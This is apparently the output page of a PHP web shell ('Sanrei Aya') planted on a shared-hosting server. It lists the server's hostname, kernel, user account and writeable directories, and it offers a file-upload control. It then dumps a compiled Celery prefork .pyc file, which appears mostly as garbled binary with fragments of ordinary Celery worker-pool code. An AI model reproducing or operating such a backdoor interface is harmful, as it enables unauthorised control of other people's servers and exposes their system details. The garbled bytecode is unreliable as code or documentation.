Yohohohohohooho | Sanrei Aya
Sanrei Aya


Server : LiteSpeed
System : Linux barito.iixcp.rumahweb.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : elvh3918 ( 1528)
PHP Version : 8.2.31
Disable Function : mail
Directory :  /usr/local/lib/python3.9/site-packages/celery/concurrency/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/local/lib/python3.9/site-packages/celery/concurrency/__pycache__/prefork.cpython-39.pyc
a

��Sh��@s�dZddlZddlmZddlmZmZddlmZm	Z	ddlm
Zddlm
Z
mZddlmZmZdd	lmZdd
lmZddlmZddlmZd
dlmZdZhd�Zer�dehZndhZee�Z e j!e j"Z!Z"dd�Z#dd�Z$Gdd�de�Z%dS)zKPrefork execution pool.

Pool implementation using :mod:`multiprocessing`.
�N)�forking_enable)�
REMAP_SIGTERM�TERM_SIGNAME)�CLOSE�RUN)�Pool)�	platforms�signals)�_set_task_join_will_block�set_default_app)�trace)�BasePool)�noop)�
get_logger�)�AsynPool)�TaskPool�process_initializer�process_destructor>�SIGTERM�SIGTTOU�SIGHUP�SIGUSR1�SIGTTIN�SIGINTcCsNt�d�td�tjjt�tjjt�tjd|d�|j	�
�|j	��tj
�d�pZd}|rtd|��vrtd|j_|jjttj
�d	d
�p�d
�|ttj
�dd��ttj
�d��|d�tj
�d
�r�t�||�n |��t|�|��|jt_d
dlm}|j��D] \}}||||j	||d�|_ �qd
dl!m"}|�#�tj$j%dd�dS)z�Pool child process initializer.

    Initialize the child pool process to ensure the correct
    app instance is used and things like logging works.
    �SIGKILLTZceleryd)�hostnameZCELERY_LOG_FILENz%iFZCELERY_LOG_LEVELrZCELERY_LOG_REDIRECTZCELERY_LOG_REDIRECT_LEVELZFORKED_BY_MULTIPROCESSING)�build_tracer)�app)�state)�sender)&rZ
set_pdeathsigr
r	�reset�WORKER_SIGRESET�ignore�WORKER_SIGIGNOREZset_mp_process_title�loaderZinit_workerZinit_worker_process�os�environ�get�lower�logZ
already_setup�setup�int�bool�strrZsetup_worker_optimizationsZset_currentr�finalizeZ_tasksZcelery.app.tracer�tasks�itemsZ	__trace__Z
celery.workerrZreset_stateZworker_process_init�send)rr�logfiler�name�taskZworker_state�r6�D/usr/local/lib/python3.9/site-packages/celery/concurrency/prefork.pyr&s<


��rcCstjjd||d�dS)z_Pool child process destructor.

    Dispatch the :signal:`worker_process_shutdown` signal.
    N)r �pid�exitcode)r	Zworker_process_shutdownr2)r8r9r6r6r7rRs�rcsteZdZdZeZeZdZdZdd�Z	dd�Z
dd	�Zd
d�Zdd
�Z
dd�Zdd�Z�fdd�Zedd��Z�ZS)rz$Multiprocessing Pool implementation.TNc	Cs�t|j�|j�dd�r|jn|j}|jr4|jjjnd}|f|jt	t
dd|d�|j��}|_|j|_
|j|_|j|_|j|_|j|_t|dd�|_dS)N�threadsTF)�	processesZinitializerZon_process_exitZenable_timeoutsZsynack�proc_alive_timeout�flush)r�optionsr(�BlockingPoolrr�confZworker_proc_alive_timeout�limitrr�_pool�apply_asyncZon_applyZ
maintain_poolZ
terminate_jobZgrow�shrink�getattrr=)�selfrr<�Pr6r6r7�on_startes,
����	zTaskPool.on_startcCs|j��|j�t�dS�N)rB�restartrCr�rFr6r6r7rJ}s
zTaskPool.restartcCs
|j��SrI)rB�did_start_okrKr6r6r7rL�szTaskPool.did_start_okcCs*z|jj}Wnty YdS0||�SrI)rB�register_with_event_loop�AttributeError)rF�loop�regr6r6r7rM�s
z!TaskPool.register_with_event_loopcCs8|jdur4|jjttfvr4|j��|j��d|_dS)zGracefully stop the pool.N)rB�_staterr�close�joinrKr6r6r7�on_stop�s

zTaskPool.on_stopcCs|jdur|j��d|_dS)zForce terminate the pool.N)rB�	terminaterKr6r6r7�on_terminate�s

zTaskPool.on_terminatecCs$|jdur |jjtkr |j��dSrI)rBrQrrRrKr6r6r7�on_close�szTaskPool.on_closec	spt|jdd�}t���}|�|jdd�|jjD�|jjp:d|j|jjpHd|jj	pRdf|durb|�ndd��|S)NZhuman_write_statscSsg|]
}|j�qSr6)r8)�.0�pr6r6r7�
<listcomp>��z&TaskPool._get_info.<locals>.<listcomp>zN/Ar)zmax-concurrencyr;zmax-tasks-per-childzput-guarded-by-semaphoreZtimeoutsZwrites)
rErB�super�	_get_info�updaterAZ_maxtasksperchildZputlocksZsoft_timeout�timeout)rF�write_stats�info��	__class__r6r7r]�s



��	zTaskPool._get_infocCs|jjSrI)rBZ
_processesrKr6r6r7�
num_processes�szTaskPool.num_processes)�__name__�
__module__�__qualname__�__doc__rrr?Zuses_semaphorer`rHrJrLrMrTrVrWr]�propertyrd�
__classcell__r6r6rbr7r\sr)&rhr&ZbilliardrZbilliard.commonrrZ
billiard.poolrrrr?Zceleryrr	Z
celery._stater
rZ
celery.apprZcelery.concurrency.baser
Zcelery.utils.functionalrZcelery.utils.logrZasynpoolr�__all__r"r$re�logger�warning�debugrrrr6r6r6r7�<module>s,
,

Yohohohohohooho | Sanrei Aya